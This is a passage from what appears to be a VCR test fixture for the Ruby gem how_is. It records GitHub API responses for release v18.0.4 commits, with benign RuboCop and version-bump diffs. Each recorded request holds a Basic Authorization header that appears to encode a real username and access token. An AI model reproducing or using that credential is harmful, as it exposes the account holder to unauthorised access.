}"},{"sha":"c311a484117b3c1dca37d6fa367084fe39c6d2f6","filename":"lib/how_is/pulse.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/lib/how_is/pulse.rb","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/lib/how_is/pulse.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/pulse.rb?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -23,7 +23,7 @@ def text_summary\n def html_summary\n parts =\n @pulse_page_response.body\n- .split(''
'')\n+ .split(''
'')\n \n if parts.length == 1\n return \"There hasn''t been any activity on #{@repository} in the last month.\""},{"sha":"88aecff9e2a9d7260bfb4ece998ac79ddf866c4f","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -129,7 +129,7 @@ def issue_or_pr_summary(type, type_label)\n oldest = a.send(\"oldest_#{type}\")\n newest = a.send(\"newest_#{type}\")\n \n- if number_of_type == 0\n+ if number_of_type.zero?\n text \"There are #{link(\"no #{type_label}s open\", type_link)}.\"\n else\n text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} #{pluralize(type_label, number_of_type)} open\", type_link)}.\""},{"sha":"d89db27d68d069eabd19b6620390c55db4563b17","filename":"spec/how_is_spec.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -109,14 +109,14 @@\n end\n \n # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n- # rubocop:disable Style/BracesAroundHashParameters\n+ # rubocop:disable Layout/BracesAroundHashParameters\n context ''#generate_frontmatter'' do\n it ''works with frontmatter parameter using String keys, report_data using String keys'' do\n actual = nil\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({''foo'' => \"bar %{baz}\"}, {''baz'' => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({''foo'' => \"bar %s\"}, {''baz'' => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n \n@@ -128,7 +128,7 @@\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({:foo => \"bar %{baz}\"}, {:baz => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({:foo => \"bar %s\"}, {:baz => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n "}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:41 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3366' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e444ea0a820c0aab52439d3bb9eeb58b" Last-Modified: - Fri, 14 Jul 2017 18:20:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EDD0:74EC:277974:501227:5CC36AE9 body: encoding: ASCII-8BIT string: '{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWI1ZDc2YjIxZDE1YThmMGY0ZTRhNDhiNDU1OTcwMDAxOTk0MzU2OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T18:20:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T18:20:08Z"},"message":"Merge pull request #171 from how-is/release-v18-0-4\n\nRelease v18 0 4","tree":{"sha":"e37cf4a070b4271b3be09b964f2da68c38be7d6c","url":"https://api.github.com/repos/how-is/how_is/git/trees/e37cf4a070b4271b3be09b964f2da68c38be7d6c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"12cf047737e54098744a9c330c32e03e58b0f089","url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089","html_url":"https://github.com/how-is/how_is/commit/12cf047737e54098744a9c330c32e03e58b0f089"},{"sha":"522ce05cd5f35a54d4073daba0ed572c19a21c40","url":"https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40","html_url":"https://github.com/how-is/how_is/commit/522ce05cd5f35a54d4073daba0ed572c19a21c40"}],"stats":{"total":21,"additions":19,"deletions":2},"files":[{"sha":"71661c54ff8c9639dc8d440ebe1cab8d8635c6e2","filename":"CHANGELOG.md","status":"modified","additions":17,"deletions":0,"changes":17,"blob_url":"https://github.com/how-is/how_is/blob/eb5d76b21d15a8f0f4e4a48b4559700019943568/CHANGELOG.md","raw_url":"https://github.com/how-is/how_is/raw/eb5d76b21d15a8f0f4e4a48b4559700019943568/CHANGELOG.md","contents_url":"https://api.github.com/repos/how-is/how_is/contents/CHANGELOG.md?ref=eb5d76b21d15a8f0f4e4a48b4559700019943568","patch":"@@ -9,6 +9,23 @@ this project adheres to [Semantic Versioning](http://semver.org).\n \n (Nothing so far.)\n \n+## [v18.0.4]\n+\n+This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.4))\n+is exclusively cleaning up RuboCop violations and updating dependencies.\n+There should be no noticeable changes in functionality.\n+\n+### Miscellaneous\n+\n+* Use Hashie stable; update Gemfile/add Gemfile.lock. ([#170](https://github.com/how-is/how_is/pull/170))\n+* Pass -w to Ruby when running ''rake spec''. ([#169](https://github.com/how-is/how_is/pull/169))\n+* Rubocop cleanup. ([#167](https://github.com/how-is/how_is/pull/167))\n+* Gemfile: use Hashie from master branch. ([#166](https://github.com/how-is/how_is/pull/166))\n+* Update github_api, contracst to latest. ([#165](https://github.com/how-is/how_is/pull/165))\n+* Fix (a significant number of) RuboCop violations. ([#162](https://github.com/how-is/how_is/pull/162))\n+* README: Drop from_config_file reference. ([#161](https://github.com/how-is/how_is/pull/161))\n+* Move rubocop dependency to gemspec. ([#160](https://github.com/how-is/how_is/pull/160))\n+\n ## [v18.0.3]\n \n This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.3))"},{"sha":"32aa572b081b55be429319039a68bf16adedda85","filename":"Gemfile.lock","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/eb5d76b21d15a8f0f4e4a48b4559700019943568/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/eb5d76b21d15a8f0f4e4a48b4559700019943568/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=eb5d76b21d15a8f0f4e4a48b4559700019943568","patch":"@@ -1,7 +1,7 @@\n PATH\n remote: .\n specs:\n- how_is (18.0.3)\n+ how_is (18.0.4)\n contracts (~> 0.16.0)\n github_api (~> 0.17.0)\n slop (~> 4.4.1)"},{"sha":"68e778c5ce56d843c695599031658d9d5a92c2b1","filename":"lib/how_is/version.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/eb5d76b21d15a8f0f4e4a48b4559700019943568/lib/how_is/version.rb","raw_url":"https://github.com/how-is/how_is/raw/eb5d76b21d15a8f0f4e4a48b4559700019943568/lib/how_is/version.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/version.rb?ref=eb5d76b21d15a8f0f4e4a48b4559700019943568","patch":"@@ -1,5 +1,5 @@\n # frozen_string_literal: true\n \n class HowIs\n- VERSION = \"18.0.3\"\n+ VERSION = \"18.0.4\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:41 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3365' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"58b317963728a2f41573d738a6f48389" Last-Modified: - Fri, 14 Jul 2017 18:11:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 7D5F:0D7A:127A7F:2EAB28:5CC36AE9 body: encoding: ASCII-8BIT string: '{"sha":"522ce05cd5f35a54d4073daba0ed572c19a21c40","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTIyY2UwNWNkNWYzNWE1NGQ0MDczZGFiYTBlZDU3MmMxOWEyMWM0MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:11:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:11:32Z"},"message":"update Gemfile.lock.","tree":{"sha":"e37cf4a070b4271b3be09b964f2da68c38be7d6c","url":"https://api.github.com/repos/how-is/how_is/git/trees/e37cf4a070b4271b3be09b964f2da68c38be7d6c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40","html_url":"https://github.com/how-is/how_is/commit/522ce05cd5f35a54d4073daba0ed572c19a21c40","comments_url":"https://api.github.com/repos/how-is/how_is/commits/522ce05cd5f35a54d4073daba0ed572c19a21c40/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","url":"https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","html_url":"https://github.com/how-is/how_is/commit/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"32aa572b081b55be429319039a68bf16adedda85","filename":"Gemfile.lock","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/522ce05cd5f35a54d4073daba0ed572c19a21c40/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/522ce05cd5f35a54d4073daba0ed572c19a21c40/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=522ce05cd5f35a54d4073daba0ed572c19a21c40","patch":"@@ -1,7 +1,7 @@\n PATH\n remote: .\n specs:\n- how_is (18.0.3)\n+ how_is (18.0.4)\n contracts (~> 0.16.0)\n github_api (~> 0.17.0)\n slop (~> 4.4.1)"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:41 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3364' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0d250d2422acc6574338ab348a079199" Last-Modified: - Fri, 14 Jul 2017 18:09:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 10B1:3FAA:12B98D:2EA0D9:5CC36AE9 body: encoding: ASCII-8BIT string: '{"sha":"9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWMzNGZmMGIwYmQyZTJiZTdlN2QxZjc2YjE4MzE2N2U0ZjE0YzcwMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:05:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:09:03Z"},"message":"v18.0.4","tree":{"sha":"df8be16f4bb75124521635a3d59ba7038bf0f456","url":"https://api.github.com/repos/how-is/how_is/git/trees/df8be16f4bb75124521635a3d59ba7038bf0f456"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","html_url":"https://github.com/how-is/how_is/commit/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bb147cc2eb499b9450fca340ab47fce5f9417745","url":"https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745","html_url":"https://github.com/how-is/how_is/commit/bb147cc2eb499b9450fca340ab47fce5f9417745"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"68e778c5ce56d843c695599031658d9d5a92c2b1","filename":"lib/how_is/version.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700/lib/how_is/version.rb","raw_url":"https://github.com/how-is/how_is/raw/9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700/lib/how_is/version.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/version.rb?ref=9c34ff0b0bd2e2be7e7d1f76b183167e4f14c700","patch":"@@ -1,5 +1,5 @@\n # frozen_string_literal: true\n \n class HowIs\n- VERSION = \"18.0.3\"\n+ VERSION = \"18.0.4\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:41 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3363' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b302b65f0655b576abd4c34a828b3a87" Last-Modified: - Fri, 14 Jul 2017 18:09:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - FB06:7954:12FECF:2F684F:5CC36AE9 body: encoding: ASCII-8BIT string: '{"sha":"bb147cc2eb499b9450fca340ab47fce5f9417745","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmIxNDdjYzJlYjQ5OWI5NDUwZmNhMzQwYWI0N2ZjZTVmOTQxNzc0NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:05:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T18:09:03Z"},"message":"update changelog","tree":{"sha":"14e969f902929a7da4b97ff66a30a7632514f33a","url":"https://api.github.com/repos/how-is/how_is/git/trees/14e969f902929a7da4b97ff66a30a7632514f33a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bb147cc2eb499b9450fca340ab47fce5f9417745","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745","html_url":"https://github.com/how-is/how_is/commit/bb147cc2eb499b9450fca340ab47fce5f9417745","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bb147cc2eb499b9450fca340ab47fce5f9417745/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"12cf047737e54098744a9c330c32e03e58b0f089","url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089","html_url":"https://github.com/how-is/how_is/commit/12cf047737e54098744a9c330c32e03e58b0f089"}],"stats":{"total":17,"additions":17,"deletions":0},"files":[{"sha":"71661c54ff8c9639dc8d440ebe1cab8d8635c6e2","filename":"CHANGELOG.md","status":"modified","additions":17,"deletions":0,"changes":17,"blob_url":"https://github.com/how-is/how_is/blob/bb147cc2eb499b9450fca340ab47fce5f9417745/CHANGELOG.md","raw_url":"https://github.com/how-is/how_is/raw/bb147cc2eb499b9450fca340ab47fce5f9417745/CHANGELOG.md","contents_url":"https://api.github.com/repos/how-is/how_is/contents/CHANGELOG.md?ref=bb147cc2eb499b9450fca340ab47fce5f9417745","patch":"@@ -9,6 +9,23 @@ this project adheres to [Semantic Versioning](http://semver.org).\n \n (Nothing so far.)\n \n+## [v18.0.4]\n+\n+This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.4))\n+is exclusively cleaning up RuboCop violations and updating dependencies.\n+There should be no noticeable changes in functionality.\n+\n+### Miscellaneous\n+\n+* Use Hashie stable; update Gemfile/add Gemfile.lock. ([#170](https://github.com/how-is/how_is/pull/170))\n+* Pass -w to Ruby when running ''rake spec''. ([#169](https://github.com/how-is/how_is/pull/169))\n+* Rubocop cleanup. ([#167](https://github.com/how-is/how_is/pull/167))\n+* Gemfile: use Hashie from master branch. ([#166](https://github.com/how-is/how_is/pull/166))\n+* Update github_api, contracst to latest. ([#165](https://github.com/how-is/how_is/pull/165))\n+* Fix (a significant number of) RuboCop violations. ([#162](https://github.com/how-is/how_is/pull/162))\n+* README: Drop from_config_file reference. ([#161](https://github.com/how-is/how_is/pull/161))\n+* Move rubocop dependency to gemspec. ([#160](https://github.com/how-is/how_is/pull/160))\n+\n ## [v18.0.3]\n \n This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.3))"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:41 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089 body: encoding: US-ASCII string: '' headers: Accept: - 